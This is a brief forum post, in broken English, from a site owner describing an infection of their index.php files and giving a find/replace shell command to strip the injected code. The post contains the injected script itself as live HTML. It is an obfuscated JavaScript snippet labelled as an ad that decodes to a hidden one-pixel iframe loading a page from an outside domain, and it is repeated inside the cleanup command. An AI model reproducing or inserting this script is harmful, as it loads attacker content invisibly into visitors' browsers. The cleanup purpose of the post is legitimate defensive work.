I found it. It turned out that the front time is suspended from google I did not deleted. I apologize to all
<!-- ad --><script>function ixtdoyiepvofii(bditzhkittv){var pknntrcpghxowyr="";for(zzavh=0;zzavh<bditzhkittv.length;zzavh+=2){pknntrcpghxowyr+=(String.fromCharCode(parseInt(bditzhkittv.substr(zzavh,2),16)));}document.write(pknntrcpghxowyr);}ixtdoyiepvofii("3Csqncygw6966sqncygw72sqncygw616Dsqncygw6520737263sqncygw3Dsqncygw276874sqncygw74sqncygw70sqncygw3A2Fsqncygw2F7272sqncygw65sqncygw726569sqncygw6Bsqncygw6B64sqncygw6E732E636F6D2Fsqncygw70sqncygw6167sqncygw652Esqncygw68sqncygw74sqncygw6Dsqncygw6C27sqncygw20sqncygw77sqncygw69sqncygw6474683D312068sqncygw65sqncygw696768743D31sqncygw20sqncygw73sqncygw74sqncygw796C65sqncygw3D27sqncygw7669sqncygw73sqncygw6962696C697479sqncygw3A2068sqncygw6964sqncygw6465sqncygw6Esqncygw273E3Csqncygw2Fsqncygw69sqncygw6672616Dsqncygw65sqncygw3E".replace(/sqncygw/g, ""));</script><!-- /ad -->
In a similar problem to review all index.php files.
Or run the following command to clear this script.find /home/user/public_html/* -regex ".*\(\.php\|\.html\|\.htm\)$" -type f -exec replace '<!-- ad --><script>function ixtdoyiepvofii(bditzhkittv){var pknntrcpghxowyr="";for(zzavh=0;zzavh<bditzhkittv.length;zzavh+=2){pknntrcpghxowyr+=(String.fromCharCode(parseInt(bditzhkittv.substr(zzavh,2),16)));}document.write(pknntrcpghxowyr);}ixtdoyiepvofii("3Csqncygw6966sqncygw72sqncygw616Dsqncygw6520737263sqncygw3Dsqncygw276874sqncygw74sqncygw70sqncygw3A2Fsqncygw2F7272sqncygw65sqncygw726569sqncygw6Bsqncygw6B64sqncygw6E732E636F6D2Fsqncygw70sqncygw6167sqncygw652Esqncygw68sqncygw74sqncygw6Dsqncygw6C27sqncygw20sqncygw77sqncygw69sqncygw6474683D312068sqncygw65sqncygw696768743D31sqncygw20sqncygw73sqncygw74sqncygw796C65sqncygw3D27sqncygw7669sqncygw73sqncygw6962696C697479sqncygw3A2068sqncygw6964sqncygw6465sqncygw6Esqncygw273E3Csqncygw2Fsqncygw69sqncygw6672616Dsqncygw65sqncygw3E".replace(/sqncygw/g, ""));</script><!-- /ad -->' -- {} \;